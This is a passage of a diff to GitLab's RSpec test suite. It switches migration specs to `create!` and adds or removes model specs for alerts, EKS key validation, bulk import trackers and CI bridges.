+ pool_repository = pool_repositories.create!(shard_id: shard.id, source_project_id: gitaly.id)
gitaly.update_column(:pool_repository_id, pool_repository.id)
# gitlab is a project with a pool repository that's missing a source_project_id
- pool_repository_without_source_project = pool_repositories.create(shard_id: shard.id, source_project_id: nil)
+ pool_repository_without_source_project = pool_repositories.create!(shard_id: shard.id, source_project_id: nil)
gitlab = projects.create!(name: 'gitlab', path: 'gitlab-org/gitlab-ce', namespace_id: 1, pool_repository_id: pool_repository_without_source_project.id)
projects.create!(name: 'gitlab-fork-1', path: 'my-org-1/gitlab-ce', namespace_id: 1, pool_repository_id: pool_repository_without_source_project.id)
diff --git a/spec/migrations/fix_projects_without_project_feature_spec.rb b/spec/migrations/fix_projects_without_project_feature_spec.rb
index 1ec67c07ba3..696c9e86384 100644
--- a/spec/migrations/fix_projects_without_project_feature_spec.rb
+++ b/spec/migrations/fix_projects_without_project_feature_spec.rb
@@ -4,13 +4,13 @@ require 'spec_helper'
require Rails.root.join('db', 'post_migrate', '20200127111840_fix_projects_without_project_feature.rb')
RSpec.describe FixProjectsWithoutProjectFeature do
- let(:namespace) { table(:namespaces).create(name: 'gitlab', path: 'gitlab-org') }
+ let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
let!(:projects) do
[
- table(:projects).create(namespace_id: namespace.id, name: 'foo 1'),
- table(:projects).create(namespace_id: namespace.id, name: 'foo 2'),
- table(:projects).create(namespace_id: namespace.id, name: 'foo 3')
+ table(:projects).create!(namespace_id: namespace.id, name: 'foo 1'),
+ table(:projects).create!(namespace_id: namespace.id, name: 'foo 2'),
+ table(:projects).create!(namespace_id: namespace.id, name: 'foo 3')
]
end
diff --git a/spec/migrations/fix_projects_without_prometheus_services_spec.rb b/spec/migrations/fix_projects_without_prometheus_services_spec.rb
index a4504ab6773..987350847ca 100644
--- a/spec/migrations/fix_projects_without_prometheus_services_spec.rb
+++ b/spec/migrations/fix_projects_without_prometheus_services_spec.rb
@@ -4,13 +4,13 @@ require 'spec_helper'
require Rails.root.join('db', 'post_migrate', '20200220115023_fix_projects_without_prometheus_service.rb')
RSpec.describe FixProjectsWithoutPrometheusService, :migration do
- let(:namespace) { table(:namespaces).create(name: 'gitlab', path: 'gitlab-org') }
+ let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
let!(:projects) do
[
- table(:projects).create(namespace_id: namespace.id, name: 'foo 1'),
- table(:projects).create(namespace_id: namespace.id, name: 'foo 2'),
- table(:projects).create(namespace_id: namespace.id, name: 'foo 3')
+ table(:projects).create!(namespace_id: namespace.id, name: 'foo 1'),
+ table(:projects).create!(namespace_id: namespace.id, name: 'foo 2'),
+ table(:projects).create!(namespace_id: namespace.id, name: 'foo 3')
]
end
diff --git a/spec/migrations/fix_wrong_pages_access_level_spec.rb b/spec/migrations/fix_wrong_pages_access_level_spec.rb
index 80787e0f115..310076f2e0a 100644
--- a/spec/migrations/fix_wrong_pages_access_level_spec.rb
+++ b/spec/migrations/fix_wrong_pages_access_level_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe FixWrongPagesAccessLevel, :sidekiq_might_not_need_inline, schema:
let(:features_table) { table(:project_features) }
let(:subgroup) do
- root_group = namespaces_table.create(path: "group", name: "group")
+ root_group = namespaces_table.create!(path: "group", name: "group")
namespaces_table.create!(path: "subgroup", name: "group", parent_id: root_group.id)
end
diff --git a/spec/migrations/insert_project_hooks_plan_limits_spec.rb b/spec/migrations/insert_project_hooks_plan_limits_spec.rb
index 09fae160a6f..f29d72168bc 100644
--- a/spec/migrations/insert_project_hooks_plan_limits_spec.rb
+++ b/spec/migrations/insert_project_hooks_plan_limits_spec.rb
@@ -9,11 +9,11 @@ RSpec.describe InsertProjectHooksPlanLimits do
let(:plan_limits) { table(:plan_limits) }
before do
- plans.create(id: 34, name: 'free')
- plans.create(id: 2, name: 'bronze')
- plans.create(id: 3, name: 'silver')
- plans.create(id: 4, name: 'gold')
- plan_limits.create(plan_id: 34, ci_active_jobs: 5)
+ plans.create!(id: 34, name: 'free')
+ plans.create!(id: 2, name: 'bronze')
+ plans.create!(id: 3, name: 'silver')
+ plans.create!(id: 4, name: 'gold')
+ plan_limits.create!(plan_id: 34, ci_active_jobs: 5)
end
context 'when on Gitlab.com' do
diff --git a/spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb b/spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb
index d0abc777326..c7c846c7ef3 100644
--- a/spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb
+++ b/spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb
@@ -80,7 +80,7 @@ RSpec.describe MigrateAutoDevOpsDomainToClusterDomain do
cluster_projects.each do |cluster_project|
specific_domain = "#{cluster_project.id}-#{domain}" if domain
- project_auto_devops_table.create(
+ project_auto_devops_table.create!(
project_id: cluster_project.project_id,
enabled: true,
domain: specific_domain
diff --git a/spec/migrations/move_limits_from_plans_spec.rb b/spec/migrations/move_limits_from_plans_spec.rb
index a7a7d540ed3..c65fc439dd6 100644
--- a/spec/migrations/move_limits_from_plans_spec.rb
+++ b/spec/migrations/move_limits_from_plans_spec.rb
@@ -7,11 +7,11 @@ RSpec.describe MoveLimitsFromPlans do
let(:plans) { table(:plans) }
let(:plan_limits) { table(:plan_limits) }
- let!(:gold_plan) { plans.create(name: 'gold', title: 'Gold', active_pipelines_limit: 20, pipeline_size_limit: 21, active_jobs_limit: 22) }
- let!(:silver_plan) { plans.create(name: 'silver', title: 'Silver', active_pipelines_limit: 30, pipeline_size_limit: 31, active_jobs_limit: 32) }
- let!(:bronze_plan) { plans.create(name: 'bronze', title: 'Bronze', active_pipelines_limit: 40, pipeline_size_limit: 41, active_jobs_limit: 42) }
- let!(:free_plan) { plans.create(name: 'free', title: 'Free', active_pipelines_limit: 50, pipeline_size_limit: 51, active_jobs_limit: 52) }
- let!(:other_plan) { plans.create(name: 'other', title: 'Other', active_pipelines_limit: nil, pipeline_size_limit: nil, active_jobs_limit: 0) }
+ let!(:gold_plan) { plans.create!(name: 'gold', title: 'Gold', active_pipelines_limit: 20, pipeline_size_limit: 21, active_jobs_limit: 22) }
+ let!(:silver_plan) { plans.create!(name: 'silver', title: 'Silver', active_pipelines_limit: 30, pipeline_size_limit: 31, active_jobs_limit: 32) }
+ let!(:bronze_plan) { plans.create!(name: 'bronze', title: 'Bronze', active_pipelines_limit: 40, pipeline_size_limit: 41, active_jobs_limit: 42) }
+ let!(:free_plan) { plans.create!(name: 'free', title: 'Free', active_pipelines_limit: 50, pipeline_size_limit: 51, active_jobs_limit: 52) }
+ let!(:other_plan) { plans.create!(name: 'other', title: 'Other', active_pipelines_limit: nil, pipeline_size_limit: nil, active_jobs_limit: 0) }
describe 'migrate' do
it 'populates plan_limits from all the records in plans' do
diff --git a/spec/migrations/populate_project_statistics_packages_size_spec.rb b/spec/migrations/populate_project_statistics_packages_size_spec.rb
index 9024406c614..6c838e83c56 100644
--- a/spec/migrations/populate_project_statistics_packages_size_spec.rb
+++ b/spec/migrations/populate_project_statistics_packages_size_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe PopulateProjectStatisticsPackagesSize do
let(:artifacts_size) { 4.terabytes }
let(:storage_size) { repo_size + lfs_size + artifacts_size }
- let(:namespace) { namespaces.create(name: 'foo', path: 'foo') }
+ let(:namespace) { namespaces.create!(name: 'foo', path: 'foo') }
let(:package) { packages.create!(project_id: project.id, name: 'a package', package_type: 1) }
let(:project) { projects.create!(namespace_id: namespace.id) }
diff --git a/spec/migrations/populate_remaining_missing_dismissal_information_for_vulnerabilities_spec.rb b/spec/migrations/populate_remaining_missing_dismissal_information_for_vulnerabilities_spec.rb
new file mode 100644
index 00000000000..986436971ac
--- /dev/null
+++ b/spec/migrations/populate_remaining_missing_dismissal_information_for_vulnerabilities_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe PopulateRemainingMissingDismissalInformationForVulnerabilities do
+ let(:users) { table(:users) }
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:vulnerabilities) { table(:vulnerabilities) }
+
+ let(:user) { users.create!(name: 'test', email: 'test@example.com', projects_limit: 5) }
+ let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+ let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
+
+ let(:states) { { detected: 1, dismissed: 2, resolved: 3, confirmed: 4 } }
+ let!(:vulnerability_1) { vulnerabilities.create!(title: 'title', state: states[:detected], severity: 0, confidence: 5, report_type: 2, project_id: project.id, author_id: user.id) }
+ let!(:vulnerability_2) { vulnerabilities.create!(title: 'title', state: states[:dismissed], severity: 0, confidence: 5, report_type: 2, project_id: project.id, author_id: user.id) }
+ let!(:vulnerability_3) { vulnerabilities.create!(title: 'title', state: states[:resolved], severity: 0, confidence: 5, report_type: 2, project_id: project.id, author_id: user.id) }
+ let!(:vulnerability_4) { vulnerabilities.create!(title: 'title', state: states[:confirmed], severity: 0, confidence: 5, report_type: 2, project_id: project.id, author_id: user.id) }
+
+ describe '#perform' do
+ it 'calls the background migration class instance with broken vulnerability IDs' do
+ expect_next_instance_of(::Gitlab::BackgroundMigration::PopulateMissingVulnerabilityDismissalInformation) do |migrator|
+ expect(migrator).to receive(:perform).with(vulnerability_2.id)
+ end
+
+ migrate!
+ end
+ end
+end
diff --git a/spec/migrations/remove_orphan_service_hooks_spec.rb b/spec/migrations/remove_orphan_service_hooks_spec.rb
new file mode 100644
index 00000000000..c06a8b97738
--- /dev/null
+++ b/spec/migrations/remove_orphan_service_hooks_spec.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+require Rails.root.join('db', 'migrate', '20201119125730_add_web_hooks_service_foreign_key.rb')
+
+RSpec.describe RemoveOrphanServiceHooks, schema: 20201203123201 do
+ let(:web_hooks) { table(:web_hooks) }
+ let(:services) { table(:services) }
+
+ before do
+ services.create!
+ web_hooks.create!(service_id: services.first.id, type: 'ServiceHook')
+ web_hooks.create!(service_id: nil)
+
+ AddWebHooksServiceForeignKey.new.down
+ web_hooks.create!(service_id: non_existing_record_id, type: 'ServiceHook')
+ AddWebHooksServiceForeignKey.new.up
+ end
+
+ it 'removes service hooks where the referenced service does not exist', :aggregate_failures do
+ expect { RemoveOrphanServiceHooks.new.up }.to change { web_hooks.count }.by(-1)
+ expect(web_hooks.where.not(service_id: services.select(:id)).count).to eq(0)
+ end
+end
diff --git a/spec/migrations/schedule_link_lfs_objects_projects_spec.rb b/spec/migrations/schedule_link_lfs_objects_projects_spec.rb
index 04ca18de91f..2384c5d5ce7 100644
--- a/spec/migrations/schedule_link_lfs_objects_projects_spec.rb
+++ b/spec/migrations/schedule_link_lfs_objects_projects_spec.rb
@@ -11,42 +11,42 @@ RSpec.describe ScheduleLinkLfsObjectsProjects, :migration, :sidekiq do
let(:lfs_objects) { table(:lfs_objects) }
let(:lfs_objects_projects) { table(:lfs_objects_projects) }
- let(:namespace) { namespaces.create(name: 'GitLab', path: 'gitlab') }
+ let(:namespace) { namespaces.create!(name: 'GitLab', path: 'gitlab') }
- let(:fork_network) { fork_networks.create(root_project_id: source_project.id) }
- let(:another_fork_network) { fork_networks.create(root_project_id: another_source_project.id) }
+ let(:fork_network) { fork_networks.create!(root_project_id: source_project.id) }
+ let(:another_fork_network) { fork_networks.create!(root_project_id: another_source_project.id) }
- let(:source_project) { projects.create(namespace_id: namespace.id) }
- let(:another_source_project) { projects.create(namespace_id: namespace.id) }
- let(:project) { projects.create(namespace_id: namespace.id) }
- let(:another_project) { projects.create(namespace_id: namespace.id) }
+ let(:source_project) { projects.create!(namespace_id: namespace.id) }
+ let(:another_source_project) { projects.create!(namespace_id: namespace.id) }
+ let(:project) { projects.create!(namespace_id: namespace.id) }
+ let(:another_project) { projects.create!(namespace_id: namespace.id) }
- let(:lfs_object) { lfs_objects.create(oid: 'abc123', size: 100) }
- let(:another_lfs_object) { lfs_objects.create(oid: 'def456', size: 200) }
+ let(:lfs_object) { lfs_objects.create!(oid: 'abc123', size: 100) }
+ let(:another_lfs_object) { lfs_objects.create!(oid: 'def456', size: 200) }
let!(:source_project_lop_1) do
- lfs_objects_projects.create(
+ lfs_objects_projects.create!(
lfs_object_id: lfs_object.id,
project_id: source_project.id
)
end
let!(:source_project_lop_2) do
- lfs_objects_projects.create(
+ lfs_objects_projects.create!(
lfs_object_id: another_lfs_object.id,
project_id: source_project.id
)
end
let!(:another_source_project_lop_1) do
- lfs_objects_projects.create(
+ lfs_objects_projects.create!(
lfs_object_id: lfs_object.id,
project_id: another_source_project.id
)
end
let!(:another_source_project_lop_2) do
- lfs_objects_projects.create(
+ lfs_objects_projects.create!(
lfs_object_id: another_lfs_object.id,
project_id: another_source_project.id
)
@@ -56,10 +56,10 @@ RSpec.describe ScheduleLinkLfsObjectsProjects, :migration, :sidekiq do
stub_const("#{described_class.name}::BATCH_SIZE", 2)
# Create links between projects
- fork_network_members.create(fork_network_id: fork_network.id, project_id: source_project.id, forked_from_project_id: nil)
- fork_network_members.create(fork_network_id: fork_network.id, project_id: project.id, forked_from_project_id: source_project.id)
- fork_network_members.create(fork_network_id: another_fork_network.id, project_id: another_source_project.id, forked_from_project_id: nil)
- fork_network_members.create(fork_network_id: another_fork_network.id, project_id: another_project.id, forked_from_project_id: another_fork_network.root_project_id)
+ fork_network_members.create!(fork_network_id: fork_network.id, project_id: source_project.id, forked_from_project_id: nil)
+ fork_network_members.create!(fork_network_id: fork_network.id, project_id: project.id, forked_from_project_id: source_project.id)
+ fork_network_members.create!(fork_network_id: another_fork_network.id, project_id: another_source_project.id, forked_from_project_id: nil)
+ fork_network_members.create!(fork_network_id: another_fork_network.id, project_id: another_project.id, forked_from_project_id: another_fork_network.root_project_id)
end
it 'schedules background migration to link LFS objects' do
diff --git a/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb b/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb
index 93185b330c7..1f44df82ad0 100644
--- a/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb
+++ b/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb
@@ -6,8 +6,8 @@ require Rails.root.join('db', 'post_migrate', '20190322132835_schedule_populate_
RSpec.describe SchedulePopulateMergeRequestAssigneesTable do
let(:namespaces) { table(:namespaces) }
let(:projects) { table(:projects) }
- let(:namespace) { namespaces.create(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { projects.create(namespace_id: namespace.id, name: 'foo') }
+ let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+ let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
let(:merge_requests) { table(:merge_requests) }
def create_merge_request(id)
diff --git a/spec/migrations/schedule_repopulate_historical_vulnerability_statistics_spec.rb b/spec/migrations/schedule_repopulate_historical_vulnerability_statistics_spec.rb
new file mode 100644
index 00000000000..a65c94cf60e
--- /dev/null
+++ b/spec/migrations/schedule_repopulate_historical_vulnerability_statistics_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe ScheduleRepopulateHistoricalVulnerabilityStatistics do
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:project_settings) { table(:project_settings) }
+
+ let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+ let!(:project_1) { projects.create!(namespace_id: namespace.id, name: 'foo_1') }
+ let!(:project_2) { projects.create!(namespace_id: namespace.id, name: 'foo_2') }
+ let!(:project_3) { projects.create!(namespace_id: namespace.id, name: 'foo_3') }
+ let!(:project_4) { projects.create!(namespace_id: namespace.id, name: 'foo_4') }
+
+ around do |example|
+ freeze_time { Sidekiq::Testing.fake! { example.run } }
+ end
+
+ before do
+ stub_const("#{described_class.name}::BATCH_SIZE", 1)
+
+ project_settings.create!(project_id: project_1.id, has_vulnerabilities: true)
+ project_settings.create!(project_id: project_2.id, has_vulnerabilities: false)
+ project_settings.create!(project_id: project_4.id, has_vulnerabilities: true)
+ end
+
+ it 'schedules the background jobs', :aggregate_failures do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.size).to be(2)
+ expect(described_class::MIGRATION_CLASS).to be_scheduled_delayed_migration(described_class::DELAY_INTERVAL, [project_1.id], described_class::DAY_COUNT)
+ expect(described_class::MIGRATION_CLASS).to be_scheduled_delayed_migration(2 * described_class::DELAY_INTERVAL, [project_4.id], described_class::DAY_COUNT)
+ end
+end
diff --git a/spec/migrations/schedule_update_existing_users_that_require_two_factor_auth_spec.rb b/spec/migrations/schedule_update_existing_users_that_require_two_factor_auth_spec.rb
new file mode 100644
index 00000000000..74f24906e41
--- /dev/null
+++ b/spec/migrations/schedule_update_existing_users_that_require_two_factor_auth_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20201030121314_schedule_update_existing_users_that_require_two_factor_auth.rb')
+
+RSpec.describe ScheduleUpdateExistingUsersThatRequireTwoFactorAuth do
+ let(:users) { table(:users) }
+ let!(:user_1) { users.create!(require_two_factor_authentication_from_group: true, name: "user1", email: "user1@example.com", projects_limit: 1) }
+ let!(:user_2) { users.create!(require_two_factor_authentication_from_group: false, name: "user2", email: "user2@example.com", projects_limit: 1) }
+ let!(:user_3) { users.create!(require_two_factor_authentication_from_group: true, name: "user3", email: "user3@example.com", projects_limit: 1) }
+
+ before do
+ stub_const("#{described_class.name}::BATCH_SIZE", 1)
+ end
+
+ it 'schedules jobs for users that require two factor authentication' do
+ Sidekiq::Testing.fake! do
+ freeze_time do
+ migrate!
+
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(
+ 2.minutes, user_1.id, user_1.id)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(
+ 4.minutes, user_3.id, user_3.id)
+ expect(BackgroundMigrationWorker.jobs.size).to eq(2)
+ end
+ end
+ end
+end
diff --git a/spec/migrations/seed_repository_storages_weighted_spec.rb b/spec/migrations/seed_repository_storages_weighted_spec.rb
index fb077a3e345..d2fb1f7a014 100644
--- a/spec/migrations/seed_repository_storages_weighted_spec.rb
+++ b/spec/migrations/seed_repository_storages_weighted_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe SeedRepositoryStoragesWeighted do
allow(Gitlab.config.repositories).to receive(:storages).and_return(storages)
end
- let(:application_setting) { application_settings.create }
+ let(:application_setting) { application_settings.create! }
let(:repository_storages) { ["foo"] }
it 'correctly schedules background migrations' do
diff --git a/spec/migrations/update_internal_ids_last_value_for_epics_renamed_spec.rb b/spec/migrations/update_internal_ids_last_value_for_epics_renamed_spec.rb
new file mode 100644
index 00000000000..71dd3a53bcd
--- /dev/null
+++ b/spec/migrations/update_internal_ids_last_value_for_epics_renamed_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'migrate', '20201208081429_update_internal_ids_last_value_for_epics_renamed.rb')
+
+RSpec.describe UpdateInternalIdsLastValueForEpicsRenamed, :migration, schema: 20201124185639 do
+ let(:namespaces) { table(:namespaces) }
+ let(:users) { table(:users) }
+ let(:epics) { table(:epics) }
+ let(:internal_ids) { table(:internal_ids) }
+
+ let!(:author) { users.create!(name: 'test', email: 'test@example.com', projects_limit: 0) }
+ let!(:group1) { namespaces.create!(type: 'Group', name: 'group1', path: 'group1') }
+ let!(:group2) { namespaces.create!(type: 'Group', name: 'group2', path: 'group2') }
+ let!(:group3) { namespaces.create!(type: 'Group', name: 'group3', path: 'group3') }
+ let!(:epic_last_value1) { internal_ids.create!(usage: 4, last_value: 5, namespace_id: group1.id) }
+ let!(:epic_last_value2) { internal_ids.create!(usage: 4, last_value: 5, namespace_id: group2.id) }
+ let!(:epic_last_value3) { internal_ids.create!(usage: 4, last_value: 5, namespace_id: group3.id) }
+ let!(:epic_1) { epics.create!(iid: 110, title: 'from epic 1', group_id: group1.id, author_id: author.id, title_html: 'any') }
+ let!(:epic_2) { epics.create!(iid: 5, title: 'from epic 1', group_id: group2.id, author_id: author.id, title_html: 'any') }
+ let!(:epic_3) { epics.create!(iid: 3, title: 'from epic 1', group_id: group3.id, author_id: author.id, title_html: 'any') }
+
+ it 'updates out of sync internal_ids last_value' do
+ migrate!
+
+ expect(internal_ids.find_by(usage: 4, namespace_id: group1.id).last_value).to eq(110)
+ expect(internal_ids.find_by(usage: 4, namespace_id: group2.id).last_value).to eq(5)
+ expect(internal_ids.find_by(usage: 4, namespace_id: group3.id).last_value).to eq(5)
+ end
+end
diff --git a/spec/models/alert_management/alert_spec.rb b/spec/models/alert_management/alert_spec.rb
index b57062b5fc1..80a45b1c1be 100644
--- a/spec/models/alert_management/alert_spec.rb
+++ b/spec/models/alert_management/alert_spec.rb
@@ -99,7 +99,8 @@ RSpec.describe AlertManagement::Alert do
describe 'fingerprint' do
let_it_be(:fingerprint) { 'fingerprint' }
- let(:new_alert) { build(:alert_management_alert, fingerprint: fingerprint, project: project) }
+ let_it_be(:project3, refind: true) { create(:project) }
+ let(:new_alert) { build(:alert_management_alert, fingerprint: fingerprint, project: project3) }
subject { new_alert }
@@ -107,7 +108,7 @@ RSpec.describe AlertManagement::Alert do
context 'same project, various states' do
using RSpec::Parameterized::TableSyntax
- let_it_be(:existing_alert) { create(:alert_management_alert, fingerprint: fingerprint, project: project) }
+ let_it_be(:existing_alert, refind: true) { create(:alert_management_alert, fingerprint: fingerprint, project: project3) }
# We are only validating uniqueness for non-resolved alerts
where(:existing_status, :new_status, :valid) do
@@ -130,7 +131,7 @@ RSpec.describe AlertManagement::Alert do
end
with_them do
- let(:new_alert) { build(:alert_management_alert, new_status, fingerprint: fingerprint, project: project) }
+ let(:new_alert) { build(:alert_management_alert, new_status, fingerprint: fingerprint, project: project3) }
before do
existing_alert.change_status_to(existing_status)
diff --git a/spec/models/alert_management/http_integration_spec.rb b/spec/models/alert_management/http_integration_spec.rb
index a3e7b47c116..910df51801a 100644
--- a/spec/models/alert_management/http_integration_spec.rb
+++ b/spec/models/alert_management/http_integration_spec.rb
@@ -31,6 +31,54 @@ RSpec.describe AlertManagement::HttpIntegration do
it { is_expected.not_to validate_uniqueness_of(:endpoint_identifier).scoped_to(:project_id, :active) }
end
+
+ context 'payload_attribute_mapping' do
+ subject { build(:alert_management_http_integration, payload_attribute_mapping: attribute_mapping) }
+
+ context 'with valid JSON schema' do
+ let(:attribute_mapping) do
+ {
+ title: { path: %w(a b c), type: 'string' },
+ description: { path: %w(a), type: 'string' }
+ }
+ end
+
+ it { is_expected.to be_valid }
+ end
+
+ context 'with invalid JSON schema' do
+ shared_examples 'is invalid record' do
+ it do
+ expect(subject).to be_invalid
+ expect(subject.errors.messages[:payload_attribute_mapping]).to eq(['must be a valid json schema'])
+ end
+ end
+
+ context 'when property is not an object' do
+ let(:attribute_mapping) do
+ { title: 'That is not a valid schema' }
+ end
+
+ it_behaves_like 'is invalid record'
+ end
+
+ context 'when property missing required attributes' do
+ let(:attribute_mapping) do
+ { title: { type: 'string' } }
+ end
+
+ it_behaves_like 'is invalid record'
+ end
+
+ context 'when property has extra attributes' do
+ let(:attribute_mapping) do
+ { title: { path: %w(a b c), type: 'string', extra: 'property' } }
+ end
+
+ it_behaves_like 'is invalid record'
+ end
+ end
+ end
end
describe '#token' do
diff --git a/spec/models/analytics/devops_adoption/segment_selection_spec.rb b/spec/models/analytics/devops_adoption/segment_selection_spec.rb
deleted file mode 100644
index 5866cbaa48e..00000000000
--- a/spec/models/analytics/devops_adoption/segment_selection_spec.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Analytics::DevopsAdoption::SegmentSelection, type: :model do
- subject { build(:devops_adoption_segment_selection, :project) }
-
- describe 'validation' do
- let_it_be(:group) { create(:group) }
- let_it_be(:project) { create(:project) }
-
- it { is_expected.to validate_presence_of(:segment) }
-
- context do
- subject { create(:devops_adoption_segment_selection, :project, project: project) }
-
- it { is_expected.to validate_uniqueness_of(:project_id).scoped_to(:segment_id) }
- end
-
- context do
- subject { create(:devops_adoption_segment_selection, :group, group: group) }
-
- it { is_expected.to validate_uniqueness_of(:group_id).scoped_to(:segment_id) }
- end
-
- it 'project is required' do
- selection = build(:devops_adoption_segment_selection, project: nil, group: nil)
-
- selection.validate
-
- expect(selection.errors).to have_key(:project)
- end
-
- it 'project is not required when a group is given' do
- selection = build(:devops_adoption_segment_selection, :group, group: group)
-
- expect(selection).to be_valid
- end
-
- it 'does not allow group to be set when project is present' do
- selection = build(:devops_adoption_segment_selection)
-
- selection.group = group
- selection.project = project
-
- selection.validate
-
- expect(selection.errors[:group]).to eq([s_('DevopsAdoptionSegmentSelection|The selection cannot be configured for a project and for a group at the same time')])
- end
-
- context 'limit the number of segment selections' do
- let_it_be(:segment) { create(:devops_adoption_segment) }
-
- subject { build(:devops_adoption_segment_selection, segment: segment, project: project) }
-
- before do
- create(:devops_adoption_segment_selection, :project, segment: segment)
-
- stub_const("#{described_class}::ALLOWED_SELECTIONS_PER_SEGMENT", 1)
- end
-
- it 'shows validation error' do
- subject.validate
-
- expect(subject.errors[:segment]).to eq([s_('DevopsAdoptionSegment|The maximum number of selections has been reached')])
- end
- end
- end
-end
diff --git a/spec/models/application_setting_spec.rb b/spec/models/application_setting_spec.rb
index efe62a1d086..ea03cbc3706 100644
--- a/spec/models/application_setting_spec.rb
+++ b/spec/models/application_setting_spec.rb
@@ -259,7 +259,18 @@ RSpec.describe ApplicationSetting do
it { is_expected.to allow_value('access-key-id-12').for(:eks_access_key_id) }
it { is_expected.not_to allow_value('a' * 129).for(:eks_access_key_id) }
it { is_expected.not_to allow_value('short-key').for(:eks_access_key_id) }
- it { is_expected.not_to allow_value(nil).for(:eks_access_key_id) }
+ it { is_expected.to allow_value(nil).for(:eks_access_key_id) }
+
+ it { is_expected.to allow_value('secret-access-key').for(:eks_secret_access_key) }
+ it { is_expected.to allow_value(nil).for(:eks_secret_access_key) }
+ end
+
+ context 'access key is specified' do
+ let(:eks_enabled) { true }
+
+ before do
+ setting.eks_access_key_id = '123456789012'
+ end
it { is_expected.to allow_value('secret-access-key').for(:eks_secret_access_key) }
it { is_expected.not_to allow_value(nil).for(:eks_secret_access_key) }
diff --git a/spec/models/bulk_imports/entity_spec.rb b/spec/models/bulk_imports/entity_spec.rb
index ad6e3ec6f30..0732b671729 100644
--- a/spec/models/bulk_imports/entity_spec.rb
+++ b/spec/models/bulk_imports/entity_spec.rb
@@ -82,4 +82,68 @@ RSpec.describe BulkImports::Entity, type: :model do
end
end
end
+
+ describe "#update_tracker_for" do
+ let(:entity) { create(:bulk_import_entity) }
+
+ it "inserts new tracker when it does not exist" do
+ expect do
+ entity.update_tracker_for(relation: :relation, has_next_page: false)
+ end.to change(BulkImports::Tracker, :count).by(1)
+
+ tracker = entity.trackers.last
+
+ expect(tracker.relation).to eq('relation')
+ expect(tracker.has_next_page).to eq(false)
+ expect(tracker.next_page).to eq(nil)
+ end
+
+ it "updates the tracker if it already exist" do
+ create(
+ :bulk_import_tracker,
+ relation: :relation,
+ has_next_page: false,
+ entity: entity
+ )
+
+ expect do
+ entity.update_tracker_for(relation: :relation, has_next_page: true, next_page: 'nextPage')
+ end.not_to change(BulkImports::Tracker, :count)
+
+ tracker = entity.trackers.last
+
+ expect(tracker.relation).to eq('relation')
+ expect(tracker.has_next_page).to eq(true)
+ expect(tracker.next_page).to eq('nextPage')
+ end
+ end
+
+ describe "#has_next_page?" do
+ it "queries for the given relation if it has more pages to be fetched" do
+ entity = create(:bulk_import_entity)
+ create(
+ :bulk_import_tracker,
+ relation: :relation,
+ has_next_page: false,
+ entity: entity
+ )
+
+ expect(entity.has_next_page?(:relation)).to eq(false)
+ end
+ end
+
+ describe "#next_page_for" do
+ it "queries for the next page of the given relation" do
+ entity = create(:bulk_import_entity)
+ create(
+ :bulk_import_tracker,
+ relation: :relation,
+ has_next_page: false,
+ next_page: 'nextPage',
+ entity: entity
+ )
+
+ expect(entity.next_page_for(:relation)).to eq('nextPage')
+ end
+ end
end
diff --git a/spec/models/bulk_imports/failure_spec.rb b/spec/models/bulk_imports/failure_spec.rb
new file mode 100644
index 00000000000..cde62659a48
--- /dev/null
+++ b/spec/models/bulk_imports/failure_spec.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Failure, type: :model do
+ describe 'associations' do
+ it { is_expected.to belong_to(:entity).required }
+ end
+
+ describe 'validations' do
+ before do
+ create(:bulk_import_failure)
+ end
+
+ it { is_expected.to validate_presence_of(:entity) }
+ end
+end
diff --git a/spec/models/ci/bridge_spec.rb b/spec/models/ci/bridge_spec.rb
index 51e82061d97..11dcecd50ca 100644
--- a/spec/models/ci/bridge_spec.rb
+++ b/spec/models/ci/bridge_spec.rb
@@ -330,14 +330,6 @@ RSpec.describe Ci::Bridge do
subject { build_stubbed(:ci_bridge, :manual).playable? }
it { is_expected.to be_truthy }
-
- context 'when FF ci_manual_bridges is disabled' do
- before do
- stub_feature_flags(ci_manual_bridges: false)
- end
-
- it { is_expected.to be_falsey }
- end
end
context 'when build is not a manual action' do
@@ -352,14 +344,6 @@ RSpec.describe Ci::Bridge do
subject { build_stubbed(:ci_bridge, :manual).action? }
it { is_expected.to be_truthy }
-
- context 'when FF ci_manual_bridges is disabled' do
- before do
- stub_feature_flags(ci_manual_bridges: false)
- end
-
- it { is_expected.to be_falsey }
- end
end
context 'when build is not a manual action' do
